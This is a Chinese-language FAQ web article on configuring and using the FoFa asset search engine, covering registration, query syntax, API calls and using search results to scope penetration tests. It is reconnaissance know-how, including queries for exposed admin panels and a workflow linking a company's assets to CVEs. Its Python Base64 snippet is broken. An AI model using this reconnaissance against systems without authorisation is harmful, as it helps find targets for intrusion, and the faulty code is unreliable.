FoFa 查询工具的配置及使用方法有哪些?

FoFa 查询工具的配置及使用方法——十大高频问题深度解答

FoFa作为网络安全领域极具特色的资产搜索引擎,如何高效配置并准确使用,常常是众多安全爱好者和专业人员关注的焦点。下文通过FAQ形式,为您深度解析FoFa的配置流程及使用技巧,涵盖从基础注册到高级搜索语法的核心内容,带您快速上手并掌握实操操作。


1. 什么是FoFa,为什么要使用它进行网络资产搜索?

解答:FoFa是一款面向网络安全领域的资产搜索引擎,类似于Shodan,但更专注于国内和全球多样化的互联网硬件和服务资产。通过FoFa,用户可以快速定位目标设备的开放端口、服务信息甚至版本号,这对于安全评估、漏洞挖掘以及攻击面管理非常有帮助。它支持精细化查询语法,能够精准筛选特定设备类型、地区、协议服务等。

实操建议:

  • 访问官网(https://fofa.so/)进行注册,获取API密钥。
  • 理解基础搜索语法,如 ip="1.2.3.4"port="80"等,是使用FoFa的第一步。

2. 如何注册FoFa账号及完成基础配置?

解答:注册FoFa账号流程简单,用户只需提供有效邮箱完成验证即可。注册后,可在用户中心查看和复制API Key,用于调用接口或第三方工具集成。另外,建议完善个人资料以通过实名认证,提升查询额度。

详细步骤:

  1. 访问 FoFa官网
  2. 点击页面右上角的“注册”按钮,填写邮箱、密码。
  3. 确认邮箱,点击邮件中的激活链接完成验证。
  4. 登录账号,进入“个人中心”,查找API密钥。
  5. 建议绑定手机或进行实名认证以获得更高查询权限。

3. FoFa的搜索语法有哪些基本组成?如何提高查询准确度?

解答:FoFa的查询语法是其强大功能的关键支撑。它采用类似SQL的数据筛选方式,支持关键字组合、逻辑运算、通配符使用。例如:

  • ip="192.168.0.1" 查找指定IP的资产;
  • port="80" 根据端口筛选;
  • title="Apache" 查找网页标题中含有“Apache”的服务器;
  • country="CN" 定位中国境内设备。

此外,逻辑运算符AND、OR和NOT能帮助组合更加复杂的条件,提高搜索精度。

实操建议:尝试多维度组合查询,如 port="22" AND country="CN" AND title="SSH",将返回国内所有开放22端口并且标题包含SSH的信息。


4. 如何使用FoFa的API进行自动化资产搜集?

解答:FoFa API支持程序化调用,便于批量搜集数据和集成入安全工具链。API请求需携带API Key,常用接口包括“搜索接口”、“资产详情查询”等,形式多为HTTP GET请求。

实操步骤:

  1. 登录FoFa,复制个人API Key。
  2. 构造API请求URL,例如:
  3. https://fofa.info/api/v1/search/all?email=邮箱地址&key=API_Key&qbase64=BASE64编码的查询语句
  4. 将普通查询语句进行Base64编码,如python示例:
    import base64
    query = 'port="80" && country="CN"'
    qbase64 = base64.b64encode(query.encode).decode
    print(qbase64)
            
  5. 使用curl或Python的requests库发送HTTP请求,获取JSON格式结果。

通过这种方式,您可以批量获取资产清单,结合脚本自动化处理极大提效。


5. FoFa查询结果中常见字段含义是什么,如何快速定位有用信息?

解答:查询结果一般包含如下字段:

  • ip:资产IP地址;
  • port:对应服务端口;
  • protocol:协议类型,如http、https;
  • title:网页或服务标题,反映服务特征;
  • server:服务器类型及版本信息;
  • countrycity:地理位置;
  • banner:服务Banner信息,包含更详细版本和配置信息。

实用技巧:关注和<server>字段,能够快速判定目标身份和潜在漏洞风险。例如,带有“nginx/1.18”的服务版本可能存在相关漏洞。</p> <hr style="margin: 30px 0;"> <h3 style="color: 2980b9;">6. 免费用户和付费用户在FoFa的使用权限上有什么区别?</h3> <p><strong>解答:</strong>FoFa为免费用户和付费用户设定了不同的访问权限。免费账户每日查询次数有限且返回数据条数受限,而付费会员则享有更高甚至不限的查询额度、更精准的历史数据访问以及API调用频次提升等权益。</p> <p><strong>建议:</strong>如果您的需求偏向长期、大规模资产探测,建议购买会员服务,尤其是在企业级渗透测试或安全管理场景中,收益显著。</p> <hr style="margin: 30px 0;"> <h3 style="color: 2980b9;">7. 如何使用FoFa进行地域定位查询以筛选目标资产?</h3> <p><strong>解答:</strong>FoFa支持多维度地域定位过滤,关键字段包括 <code>country</code>(国家)、<code>province</code>(省份)、<code>city</code>(城市)。它利用IP地理库对设备位置进行标注。</p> <p><strong>操作方法:</strong></p> <ul> <li>通过国家代码过滤,比如 <code>country="US"</code> 只筛选美国境内资产。</li> <li>查询省份或城市,比如 <code>province="Guangdong" AND city="Shenzhen"</code> 精准锁定广东深圳的设备。</li> <li>结合端口、协议进一步细化范围。</li> </ul> <p><strong>示范查询:</strong></p> <pre style="background:f0f0f0; padding:10px;">port="443" AND country="CN" AND province="Beijing"</pre> <p>该语句检索中国北京市内开放443端口的资产。</p> <hr style="margin: 30px 0;"> <h3 style="color: 2980b9;">8. FoFa支持哪些高级搜索功能?如模糊搜索、多字段组合等?</h3> <p><strong>解答:</strong>FoFa不仅支持精确匹配,还具备如下高级功能:</p> <ul> <li><strong>模糊搜索:</strong>通过在关键字段中使用“*”符号实现模糊匹配,如 <code>title="*login*"</code>。</li> <li><strong>多字段组合:</strong>利用AND、OR、NOT运算符构建复杂条件过滤多个字段。</li> <li><strong>正则匹配:</strong>部分字段支持正则表达式模式,如<code>banner=~"regex"</code>。</li> <li><strong>范围过滤:</strong>支持数值区间查询,如端口范围 <code>port>1000 AND port<2000</code>。</li> </ul> <p><strong>样例:</strong></p> <pre style="background:f0f0f0; padding:10px;">title="*Admin Panel*" AND port=80 OR port=8080 NOT country="US"</pre> <p>表示搜索标题包含“Admin Panel”的80或8080端口服务,但排除美国地区。</p> <hr style="margin: 30px 0;"> <h3 style="color: 2980b9;">9. 使用FoFa查询时出现配额不足或API调用失败,如何排查及解决?</h3> <p><strong>解答:</strong>配额不足通常因为未升级会员或当天查询次数耗尽。API调用失败可能与Key错误、网络问题或接口变更有关。</p> <p><strong>解决方案:</strong></p> <ol> <li>确保API Key填写正确,未过期。</li> <li>检查账户当日查询配额是否用完,考虑购买会员提升限额。</li> <li>查看官方文档是否有接口变更或升级公告。</li> <li>在请求中注意参数编码正确,特别是查询语句转base64无误。</li> <li>网络问题时,可更换稳定网络环境或使用VPN尝试。</li> </ol> <p><strong>建议:</strong>合理规划查询频率,避免短时间内大量调用API导致封禁。</p> <hr style="margin: 30px 0;"> <h3 style="color: 2980b9;">10. 如何结合FoFa查询结果开展渗透测试及漏洞挖掘?</h3> <p><strong>解答:</strong>FoFa为渗透测试提供了宝贵的情报资源。通过精准搜集目标资产信息,测试人员能够:</p> <ul> <li>定位对外暴露的服务和端口。</li> <li>获取服务版本及操作系统类型。</li> <li>分析服务banner、web标题识别潜在漏洞。</li> <li>辅助制定有效的漏洞扫描策略。</li> </ul> <p><strong>操作流程示范:</strong></p> <ol> <li>利用FoFa搜索目标公司域名关联的IP,例如 <code>domain="example.com"</code>。</li> <li>筛选使用的服务端口和软件版本。</li> <li>结合漏洞库查询对应漏洞(如CVE)。</li> <li>对重点资产运行漏洞扫描,或手动测试特定弱点。</li> </ol> <p>这样,您可以有针对性地制定渗透测试计划,避免盲目扫描,提升效率和成功率。</p> <hr style="margin: 30px 0;"> <h3 style="color: 2980b9;">补充问答:FoFa更新频率如何保障数据时效性?</h3> <p>FoFa数据源包括互联网爬取、合作数据等,通常每天都会更新,以保证资产信息相对时效。实时性高但仍可能存在少量滞后,建议结合多源数据辅助分析。</p> <h3 style="color: 2980b9;">补充问答:使用FoFa需要注意什么法律法规?</h3> <p>FoFa查询更多属于被动安全情报的收集,用户使用时应合法合规,不得用于非法入侵、数据盗取等违法用途。遵守国家网络安全法律法规,尊重隐私和数据安全是基础原则。</p> <p style="text-align:center; margin-top: 40px; color: 777; font-size: 14px;">以上内容系统回答了FoFa查询工具的配置与使用核心问题,期望助您高效掌握并发挥该利器优势。</p> </div> </div> <div class="azure-article-tools"> <div class="azure-reading-progress"> <div class="azure-progress-text">阅读进度</div> <div class="azure-progress-bar"> <div class="azure-progress-fill" id="readingProgress"></div> </div> <div class="azure-progress-percent" id="progressPercent">0%</div> </div> </div> <div class="azure-nav-content"> <a href="http://vizyw.com/vizyw/16108.html" class="azure-nav-item azure-nav-prev"> <div class="azure-nav-direction"> <i class="layui-icon layui-icon-left"></i> <span>上一篇</span> </div> <div class="azure-nav-title">论文写作必备:有哪些6个高效数据查找网站推荐?</div> </a> <a href="http://vizyw.com/vizyw/20482.html" class="azure-nav-item azure-nav-next"> <div class="azure-nav-direction"> <span>下一篇</span> <i class="layui-icon layui-icon-right"></i> </div> <div class="azure-nav-title">抖音直播推广如何低价自助提升人气?</div> </a> </div> <footer class="azure-article-footer"> <div class="azure-article-actions"> <button type="button" class="azure-action-btn azure-like-btn" id="likeBtn"> <div class="azure-action-icon"> <i class="layui-icon layui-icon-praise"></i> </div> <div class="azure-action-content"> <span class="azure-action-text">点赞</span> <span class="azure-action-count" id="actionLikeCount">0</span> </div> </button> <button type="button" class="azure-action-btn azure-comment-btn" id="commentBtn"> <div class="azure-action-icon"> <i class="layui-icon layui-icon-dialogue"></i> </div> <div class="azure-action-content"> <span class="azure-action-text">评论</span> <span class="azure-action-count">0</span> </div> </button> <button type="button" class="azure-action-btn azure-collect-btn" id="shareBtn"> <div class="azure-action-icon"> <i class="layui-icon layui-icon-share"></i> </div> <div class="azure-action-content"> <span class="azure-action-text">分享</span> <span class="azure-action-count"></span> </div> </button> <button type="button" class="azure-action-btn azure-collect-btn" id="collectBtn"> <div class="azure-action-icon"> <i class="layui-icon layui-icon-star"></i> </div> <div class="azure-action-content"> <span class="azure-action-text">收藏</span> <span class="azure-action-count"></span> </div> </button> </div> </footer> </article> <section class="azure-related-section"> <div class="azure-section-header"> <h2 class="azure-section-title"> <i class="layui-icon layui-icon-template"></i> 相关推荐 </h2> <p class="azure-section-desc">为您推荐更多精彩内容</p> </div> <div class="azure-related-grid"> <a href="http://vizyw.com/vizyw/16110.html" class="azure-related-item" title="人手必备的企业信息查询工具是哪款?"> <div class="azure-related-content"> <h3 class="azure-related-title">人手必备的企业信息查询工具是哪款?</h3> <div class="azure-related-meta"> <span class="azure-related-meta-item"> <i class="layui-icon layui-icon-time"></i> 12-11 </span> <span class="azure-related-meta-item"> <i class="layui-icon layui-icon-read"></i> 12 </span> </div> </div> <div class="azure-related-arrow"> <i class="layui-icon layui-icon-right"></i> </div> </a> <a href="http://vizyw.com/vizyw/16111.html" class="azure-related-item" title="人手必备的企业信息查询工具有哪些?"> <div class="azure-related-content"> <h3 class="azure-related-title">人手必备的企业信息查询工具有哪些?</h3> <div class="azure-related-meta"> <span class="azure-related-meta-item"> <i class="layui-icon layui-icon-time"></i> 12-11 </span> <span class="azure-related-meta-item"> <i class="layui-icon layui-icon-read"></i> 11 </span> </div> </div> <div class="azure-related-arrow"> <i class="layui-icon layui-icon-right"></i> </div> </a> <a href="http://vizyw.com/vizyw/16112.html" class="azure-related-item" title="便民查询工具有哪些?总有一款你能用到!"> <div class="azure-related-content"> <h3 class="azure-related-title">便民查询工具有哪些?总有一款你能用到!</h3> <div class="azure-related-meta"> <span class="azure-related-meta-item"> <i class="layui-icon layui-icon-time"></i> 12-11 </span> <span class="azure-related-meta-item"> <i class="layui-icon layui-icon-read"></i> 43 </span> </div> </div> <div class="azure-related-arrow"> <i class="layui-icon layui-icon-right"></i> </div> </a> <a href="http://vizyw.com/vizyw/16113.html" class="azure-related-item" title="便民查询工具有哪些:总有一款你能用到?"> <div class="azure-related-content"> <h3 class="azure-related-title">便民查询工具有哪些:总有一款你能用到?</h3> <div class="azure-related-meta"> <span class="azure-related-meta-item"> <i class="layui-icon layui-icon-time"></i> 12-11 </span> <span class="azure-related-meta-item"> <i class="layui-icon layui-icon-read"></i> 37 </span> </div> </div> <div class="azure-related-arrow"> <i class="layui-icon layui-icon-right"></i> </div> </a> <a href="http://vizyw.com/vizyw/16114.html" class="azure-related-item" title="Querybook:什么是开源大数据查询分析工具?"> <div class="azure-related-content"> <h3 class="azure-related-title">Querybook:什么是开源大数据查询分析工具?</h3> <div class="azure-related-meta"> <span class="azure-related-meta-item"> <i class="layui-icon layui-icon-time"></i> 12-11 </span> <span class="azure-related-meta-item"> <i class="layui-icon layui-icon-read"></i> 11 </span> </div> </div> <div class="azure-related-arrow"> <i class="layui-icon layui-icon-right"></i> </div> </a> <a href="http://vizyw.com/vizyw/16115.html" class="azure-related-item" title="谁可以告诉我2025年哪些好用的谷歌关键词排名查询工具?"> <div class="azure-related-content"> <h3 class="azure-related-title">谁可以告诉我2025年哪些好用的谷歌关键词排名查询工具?</h3> <div class="azure-related-meta"> <span class="azure-related-meta-item"> <i class="layui-icon layui-icon-time"></i> 12-11 </span> <span class="azure-related-meta-item"> <i class="layui-icon layui-icon-read"></i> 12 </span> </div> </div> <div class="azure-related-arrow"> <i class="layui-icon layui-icon-right"></i> </div> </a> </div> </section> <section class="azure-comments-section" id="commentsSection" style="display: none;"> <div class="azure-section-header"> <h3 class="azure-section-title"> <i class="layui-icon layui-icon-dialogue"></i> 评论区 </h3> <p class="azure-section-desc">欢迎发表您的看法和建议</p> </div> <div class="azure-comment-form"> <div class="azure-comment-avatar"> <i class="layui-icon layui-icon-username"></i> </div> <div class="azure-comment-input-area"> <textarea class="azure-comment-textarea" placeholder="写下你的想法,让更多人看到你的观点..." maxlength="500"></textarea> <div class="azure-comment-actions"> <div class="azure-comment-tools"> <span class="azure-char-count">0/500</span> </div> <button type="button" class="azure-comment-submit">发表评论</button> </div> </div> </div> <div class="azure-comments-list"> <div class="azure-no-comments"> <i class="layui-icon layui-icon-face-smile"></i> <p>暂无评论,快来抢沙发吧!</p> </div> </div> </section> </main> <aside class="azure-article-sidebar"> <div class="azure-sidebar-sticky"> <div class="azure-sidebar-card"> <div class="azure-card-header"> <h3 class="azure-card-title"> <i class="layui-icon layui-icon-chart"></i> 文章统计 </h3> </div> <div class="azure-stats-content"> <div class="azure-stat-item"> <div class="azure-stat-icon"> <i class="layui-icon layui-icon-read"></i> </div> <div class="azure-stat-info"> <div class="azure-stat-number">18</div> <div class="azure-stat-label">阅读量</div> </div> </div> <div class="azure-stat-item"> <div class="azure-stat-icon"> <i class="layui-icon layui-icon-praise"></i> </div> <div class="azure-stat-info"> <div class="azure-stat-number" id="sidebarLikeCount">0</div> <div class="azure-stat-label">点赞数</div> </div> </div> <div class="azure-stat-item"> <div class="azure-stat-icon"> <i class="layui-icon layui-icon-fonts-size"></i> </div> <div class="azure-stat-info"> <div class="azure-stat-number">2,599</div> <div class="azure-stat-label">字数</div> </div> </div> <div class="azure-stat-item"> <div class="azure-stat-icon"> <i class="layui-icon layui-icon-time"></i> </div> <div class="azure-stat-info"> <div class="azure-stat-number">9</div> <div class="azure-stat-label">预计阅读时间(分钟)</div> </div> </div> </div> </div> <div class="azure-sidebar-card"> <div class="azure-card-header"> <h3 class="azure-card-title"> <i class="layui-icon layui-icon-tags-fill"></i> 热门分类 </h3> </div> <div class="azure-categories-content"> <a href="http://vizyw.com/vizyw/3076.html" class="azure-category-link "> <i class="layui-icon layui-icon-template-1"></i> <span>互联资讯</span> </a> <a href="http://vizyw.com/vizyw/876.html" class="azure-category-link "> <i class="layui-icon layui-icon-template-1"></i> <span>网页介绍</span> </a> <a href="http://vizyw.com/vizyw/20482.html" class="azure-category-link "> <i class="layui-icon layui-icon-template-1"></i> <span>热门业务</span> </a> <a href="http://vizyw.com/vizyw/17192.html" class="azure-category-link active"> <i class="layui-icon layui-icon-template-1"></i> <span>查询工具</span> </a> <a href="http://vizyw.com/vizyw/11665.html" class="azure-category-link "> <i class="layui-icon layui-icon-template-1"></i> <span>云服务器</span> </a> <a href="http://vizyw.com/vizyw/18131.html" class="azure-category-link "> <i class="layui-icon layui-icon-template-1"></i> <span>游戏资讯</span> </a> <a href="http://vizyw.com/vizyw/17297.html" class="azure-category-link "> <i class="layui-icon layui-icon-template-1"></i> <span>生辰八字</span> </a> <a href="http://vizyw.com/" class="azure-category-link "> <i class="layui-icon layui-icon-template-1"></i> <span>电商新闻</span> </a> </div> </div> </div> </aside> </div> </div> </div> <div class="azure-share-overlay" id="shareOverlay"></div> <div class="azure-share-popup" id="sharePopup"> <div class="azure-share-header"> <h3 class="azure-share-title">分享文章</h3> <button class="azure-share-close" id="shareClose"> <i class="layui-icon layui-icon-close"></i> </button> </div> <div class="azure-share-content"> <div class="azure-share-buttons"> <div class="azure-share-btn" id="shareWeibo" data-platform="weibo"> <div class="azure-share-btn-icon"> <i class="layui-icon layui-icon-share"></i> </div> <span>微博</span> </div> <div class="azure-share-btn" id="shareQQ" data-platform="qq"> <div class="azure-share-btn-icon"> <i class="layui-icon layui-icon-dialogue"></i> </div> <span>QQ空间</span> </div> <div class="azure-share-btn" id="shareWechat" data-platform="wechat"> <div class="azure-share-btn-icon"> <i class="layui-icon layui-icon-cellphone"></i> </div> <span>微信</span> </div> <div class="azure-share-btn" id="shareQzone" data-platform="qzone"> <div class="azure-share-btn-icon"> <i class="layui-icon layui-icon-friends"></i> </div> <span>QQ好友</span> </div> </div> <div class="azure-share-url-section"> <label class="azure-share-url-label">文章链接</label> <div class="azure-share-url-box"> <input type="text" class="azure-share-url" id="shareUrl" value="http://vizyw.com/vizyw/16109.html" readonly> <button class="azure-share-copy" id="shareCopy"> <i class="layui-icon layui-icon-file"></i> 复制 </button> </div> </div> </div> </div> <link rel="stylesheet" type="text/css" href="http://vizyw.com/template/article14/assets/css/foot.css" /> <script src="http://vizyw.com/assets/layui/layui.js"></script> <script src="http://vizyw.com/assets/js/jquery/1.12.4/jquery.min.js"></script> <div class="azure-friend-links-section"> <div class="azure-friend-links-container"> <div class="azure-friend-links-header"> <h3 class="azure-friend-links-title"> <i class="layui-icon layui-icon-link"></i> 友情链接 </h3> <p class="azure-friend-links-desc">与优秀的网站建立合作关系,共同为用户提供更好的服务体验</p> </div> <div class="azure-friend-links-list"> <a href="https://www.yilianshuju.com/" target="_blank"class="link-item"><img style="width:18px;height:18px;margin:0auto;" src="https://yuanxiapi.cn/api/?id=28&key=6_83efcf5ff864b4998b6158804a51f3ad&url=https://www.yilianshuju.com"><font color="#059309">API接口</font></a> <a href="https://www.zongxincha.com/" target="_blank"class="link-item"><img style="width:18px;height:18px;margin:0auto;" src="https://yuanxiapi.cn/api/?id=28&key=6_83efcf5ff864b4998b6158804a51f3ad&url=https://www.zongxincha.com"><font color="#059309">综信查</font></a> <a href="https://yuanxiblog.cn/" target="_blank" class="link-item"><img style="width:18px;height:18px;margin:0auto;" src="https://yuanxiapi.cn/api/?id=28&key=6_83efcf5ff864b4998b6158804a51f3ad&url=https://yuanxiblog.cn/"><font color="#059309">远昔博客</font></a> <a href="http://yibazhan.cn/" target="_blank" class="link-item"><img style="width:18px;height:18px;margin:0auto;" src="https://yuanxiapi.cn/api/?id=28&key=6_83efcf5ff864b4998b6158804a51f3ad&url=https://yibazhan.cn/"><font color="#059309">易扒站</font></a> <a href="http://yichazhan.cn/" target="_blank" class="link-item"><img style="width:18px;height:18px;margin:0auto;" src="https://yuanxiapi.cn/api/?id=28&key=6_83efcf5ff864b4998b6158804a51f3ad&url=https://yichazhan.cn/"><font color="#059309">易查站</font></a> <a href="https://www.yuanxi8.cn/" target="_blank" class="link-item"><img style="width:18px;height:18px;margin:0auto;" src="https://yuanxiapi.cn/api/?id=28&key=6_83efcf5ff864b4998b6158804a51f3ad&url=https://yuanxiblog.cn/"><font color="#059309">远昔导航</font></a> <a href="https://www.yiguzhi.cn/" target="_blank" title="易估值" class="link-item"><img style="width:18px;height:18px;margin:0auto;" src="https://yuanxiapi.cn/api/?id=28&key=6_83efcf5ff864b4998b6158804a51f3ad&url=https://www.yiguzhi.cn/"><font color="#059309">易估值</font></a> <a href="https://www.hbdrxws.com/" target="_blank" title="助推者" class="link-item"><img style="width:18px;height:18px;margin:0auto;" src="https://yuanxiapi.cn/api/?id=28&key=6_83efcf5ff864b4998b6158804a51f3ad&url=https://www.hbdrxws.com/"><font color="#059309">助推者</font></a> <a href="http://www.081234.cn" target="_blank" title="神农网" class="link-item"><img style="width:18px;height:18px;margin:0auto;" src="https://yuanxiapi.cn/api/?id=28&key=6_83efcf5ff864b4998b6158804a51f3ad&url=http://www.081234.cn/"><font color="#059309">神农网</font></a> </div> </div> </div> <footer class="azure-footer"> <div class="azure-footer-container"> <div class="azure-footer-content"> <div class="azure-footer-main"> <div class="azure-footer-brand"> <a href="http://vizyw.com/" class="azure-footer-logo"> <div class="azure-footer-logo-icon"> <i class="layui-icon layui-icon-diamond"></i> </div> <span>唯爱资源网</span> </a> <p class="azure-footer-desc"> 致力于打造专业的文章分享与网站收录平台,为用户提供高质量的内容和便捷的网站发现服务。我们相信优质内容的力量,助力知识传播与分享。 </p> <div class="azure-footer-stats"> <div class="azure-footer-stat-item"> <span class="azure-footer-stat-number">12</span> <span class="azure-footer-stat-label">文章分类</span> </div> <div class="azure-footer-stat-item"> <span class="azure-footer-stat-number">20259</span> <span class="azure-footer-stat-label">篇文章</span> </div> <div class="azure-footer-stat-item"> <span class="azure-footer-stat-number">1305</span> <span class="azure-footer-stat-label">个网站</span> </div> </div> </div> <div class="azure-footer-links"> <div class="azure-footer-column"> <h4 class="azure-footer-column-title">快速导航</h4> <ul class="azure-footer-nav-list"> <li><a href="http://vizyw.com/" class="azure-footer-nav-link">网站首页</a></li> <li><a href="http://vizyw.com/vizyw/20482.html" class="azure-footer-nav-link">最新文章</a></li> <li><a href="http://vizyw.com/weiai/1307.html" class="azure-footer-nav-link">网站收录</a></li> </ul> </div> <div class="azure-footer-column"> <h4 class="azure-footer-column-title">关于我们</h4> <ul class="azure-footer-nav-list"> <li><a href="#" class="azure-footer-nav-link">关于平台</a></li> <li><a href="#" class="azure-footer-nav-link">联系我们</a></li> <li><a href="#" class="azure-footer-nav-link">意见反馈</a></li> </ul> </div> </div> <div class="azure-footer-social"> <h4 class="azure-footer-column-title">关注我们</h4> <div class="azure-social-links"> <a href="#" class="azure-social-link" title="微信公众号"> <i class="layui-icon layui-icon-chat"></i> <span>微信</span> </a> <a href="#" class="azure-social-link" title="QQ群"> <i class="layui-icon layui-icon-dialogue"></i> <span>QQ</span> </a> <a href="#" class="azure-social-link" title="邮箱联系"> <i class="layui-icon layui-icon-email"></i> <span>邮箱</span> </a> <a href="#" class="azure-social-link" title="GitHub"> <i class="layui-icon layui-icon-github"></i> <span>GitHub</span> </a> </div> </div> </div> <div class="azure-footer-bottom"> <div class="azure-footer-copyright"> <div class="azure-copyright-left"> <a href="https://beian.miit.gov.cn/" target="_blank" class="azure-icp-link"><i class="layui-icon layui-icon-auz"></i>黔ICP备2024035065号-5</a> </div> <div class="azure-copyright-right"> <span class="azure-build-info"> Copyright © 2017-2026 唯爱资源网 </span> </div> </div> </div> </div> </div> </footer> <div class="azure-back-to-top" id="azureBackToTop"> <i class="layui-icon layui-icon-up"></i> <span class="azure-back-text">顶部</span> </div> <div class="azure-back-to-bottom" id="azureBackToBottom"> <i class="layui-icon layui-icon-down"></i> <span class="azure-back-text">底部</span> </div> <div class="azure-progress-bar"> <div class="azure-progress-fill"></div> </div> <canvas id="azureCanvas" class="azure-canvas"></canvas> <script src="http://vizyw.com/assets/layui/layui.js"></script> <script src="http://vizyw.com/assets/js/jquery/1.12.4/jquery.min.js"></script> <script> $(document).ready(function() { var $mobileMenuBtn = $('#azureMobileMenuBtn'); var $mobileNav = $('#azureMobileNav'); var $mobileCloseBtn = $('#azureMobileCloseBtn'); var $mobileNavOverlay = $('.azure-mobile-nav-overlay'); var $body = $('body'); if ($mobileMenuBtn.length) { $mobileMenuBtn.on('click', function() { $mobileNav.addClass('active'); $body.addClass('azure-menu-open'); }); function closeMobileMenu() { $mobileNav.removeClass('active'); $body.removeClass('azure-menu-open'); } $mobileCloseBtn.on('click', closeMobileMenu); $mobileNavOverlay.on('click', closeMobileMenu); $(document).on('keydown', function(e) { if (e.keyCode === 27 && $mobileNav.hasClass('active')) { closeMobileMenu(); } }); $(window).on('resize', function() { if ($(window).width() > 768) { closeMobileMenu(); } }); } $('.link-item').hover( function() { $(this).addClass('azure-link-hover'); }, function() { $(this).removeClass('azure-link-hover'); } ); $('.azure-social-link').hover( function() { $(this).addClass('azure-social-hover'); }, function() { $(this).removeClass('azure-social-hover'); } ); var $backToTop = $('#azureBackToTop'); var $backToBottom = $('#azureBackToBottom'); $backToTop.on('click', function(e) { e.preventDefault(); $('html, body').animate({ scrollTop: 0 }, 800, 'easeInOutCubic'); }); $backToBottom.on('click', function(e) { e.preventDefault(); $('html, body').animate({ scrollTop: $(document).height() }, 800, 'easeInOutCubic'); }); var lastScrollTop = 0; $(window).on('scroll', function() { var scrollTop = $(this).scrollTop(); var windowHeight = $(this).height(); var documentHeight = $(document).height(); if (scrollTop > 300) { $backToTop.addClass('azure-show'); } else { $backToTop.removeClass('azure-show'); } if (scrollTop + windowHeight < documentHeight - 300) { $backToBottom.addClass('azure-show'); } else { $backToBottom.removeClass('azure-show'); } var progress = (scrollTop / (documentHeight - windowHeight)) * 100; $('.azure-progress-fill').css('width', Math.min(progress, 100) + '%'); lastScrollTop = scrollTop; }); $(window).trigger('scroll'); var canvas = document.getElementById('azureCanvas'); if (canvas && window.innerWidth > 768) { var ctx = canvas.getContext('2d'); var particles = []; function resizeCanvas() { canvas.width = window.innerWidth; canvas.height = window.innerHeight; } resizeCanvas(); $(window).on('resize', resizeCanvas); function Particle(x, y) { this.x = x; this.y = y; this.vx = (Math.random() - 0.5) * 6; this.vy = (Math.random() - 0.5) * 6; this.life = 1; this.decay = Math.random() * 0.02 + 0.01; this.size = Math.random() * 3 + 1; this.color = '#007acc'; } Particle.prototype.update = function() { this.x += this.vx; this.y += this.vy; this.life -= this.decay; this.vx *= 0.99; this.vy *= 0.99; if (this.life <= 0) { return false; } return true; }; Particle.prototype.draw = function() { ctx.save(); ctx.globalAlpha = this.life; ctx.fillStyle = this.color; ctx.beginPath(); ctx.arc(this.x, this.y, this.size, 0, Math.PI * 2); ctx.fill(); ctx.restore(); }; function createParticles(x, y) { for (var i = 0; i < 8; i++) { particles.push(new Particle(x, y)); } } function animate() { ctx.clearRect(0, 0, canvas.width, canvas.height); for (var i = particles.length - 1; i >= 0; i--) { if (particles[i].update()) { particles[i].draw(); } else { particles.splice(i, 1); } } requestAnimationFrame(animate); } animate(); $(document).on('click', function(e) { if (Math.random() > 0.7) { createParticles(e.clientX, e.clientY); } }); } $('.azure-article-item').each(function(index) { var $el = $(this); setTimeout(function() { $el.addClass('azure-load-fade'); }, index * 80); }); $('a[href^="#"]').not('[href="#"]').on('click', function(e) { var target = $($(this).attr('href')); if (target.length) { e.preventDefault(); $('html, body').animate({ scrollTop: target.offset().top - 80 }, 600); } }); $('#azureShare').on('click', function() { if (navigator.share) { navigator.share({ title: document.title, url: window.location.href }); } else { var url = window.location.href; if (navigator.clipboard) { navigator.clipboard.writeText(url).then(function() { showToast('链接已复制到剪贴板'); }); } else { showToast('当前浏览器不支持分享功能'); } } }); function showToast(message) { var toast = $('<div class="azure-toast">' + message + '</div>'); $body.append(toast); setTimeout(function() { toast.addClass('azure-toast-show'); }, 100); setTimeout(function() { toast.removeClass('azure-toast-show'); setTimeout(function() { toast.remove(); }, 300); }, 2000); } if ('IntersectionObserver' in window) { var imageObserver = new IntersectionObserver(function(entries, observer) { entries.forEach(function(entry) { if (entry.isIntersecting) { var img = entry.target; img.src = img.dataset.src; img.classList.remove('azure-lazy'); imageObserver.unobserve(img); } }); }); document.querySelectorAll('img[data-src]').forEach(function(img) { imageObserver.observe(img); }); } $.easing.easeInOutCubic = function (x, t, b, c, d) { if ((t/=d/2) < 1) return c/2*t*t*t + b; return c/2*((t-=2)*t*t + 2) + b; }; }); function debounce(func, wait) { var timeout; return function executedFunction() { var context = this; var args = arguments; var later = function() { timeout = null; func.apply(context, args); }; clearTimeout(timeout); timeout = setTimeout(later, wait); }; } function throttle(func, limit) { var inThrottle; return function() { var args = arguments; var context = this; if (!inThrottle) { func.apply(context, args); inThrottle = true; setTimeout(function() { inThrottle = false; }, limit); } }; } </script> <script> layui.use(['layer'], function() { var layer = layui.layer; $(document).ready(function() { $('#likeBtn').on('click', function(e) { e.preventDefault(); var $btn = $(this); if ($btn.hasClass('azure-liked')) { layer.msg('您已经点过赞了!', {icon: 2, time: 1500}); return; } $.ajax({ type: 'POST', url: 'http://vizyw.com/ajax.php?act=dianzan', data: {id:'16109',type:2}, dataType : 'json', success:function(result){ if (result.code !==200) { return layer.msg(result.msg, {anim:6,time:1500}); } var currentLikes = parseInt($('#actionLikeCount').text()); var newLikes = currentLikes + 1; $btn.addClass('azure-liked'); $('#actionLikeCount').text(newLikes); $('#likeCount').text(newLikes); $('#sidebarLikeCount').text(newLikes); $btn.find('.azure-action-icon').addClass('azure-bounce'); setTimeout(function() { $btn.find('.azure-action-icon').removeClass('azure-bounce'); }, 600); layer.msg('点赞成功!', {icon: 1, time: 1000}); }, error:function(){ return layer.msg('系统错误,请检查网络或联系管理员', {anim: 6,time:1000}); } }); }); $('#commentBtn').on('click', function(e) { e.preventDefault(); var $commentsSection = $('#commentsSection'); if ($commentsSection.is(':visible')) { $commentsSection.slideUp(300); $(this).removeClass('azure-active'); } else { $commentsSection.slideDown(300); $(this).addClass('azure-active'); setTimeout(function() { $('html, body').animate({ scrollTop: $commentsSection.offset().top - 100 }, 500); }, 300); } }); $('#collectBtn').on('click', function(e) { e.preventDefault(); var $btn = $(this); if ($btn.hasClass('azure-collected')) { $btn.removeClass('azure-collected'); $btn.find('.azure-action-text').text('收藏'); layer.msg('已取消收藏', {icon: 1, time: 1000}); } else { $btn.addClass('azure-collected'); $btn.find('.azure-action-text').text('已收藏'); layer.msg('收藏成功!', {icon: 1, time: 1000}); } }); $('#shareBtn').on('click', function(e) { e.preventDefault(); $('#shareOverlay, #sharePopup').addClass('azure-show'); $('body').addClass('azure-no-scroll'); }); function closeSharePopup() { $('#shareOverlay, #sharePopup').removeClass('azure-show'); $('body').removeClass('azure-no-scroll'); } $('#shareClose, #shareOverlay').on('click', 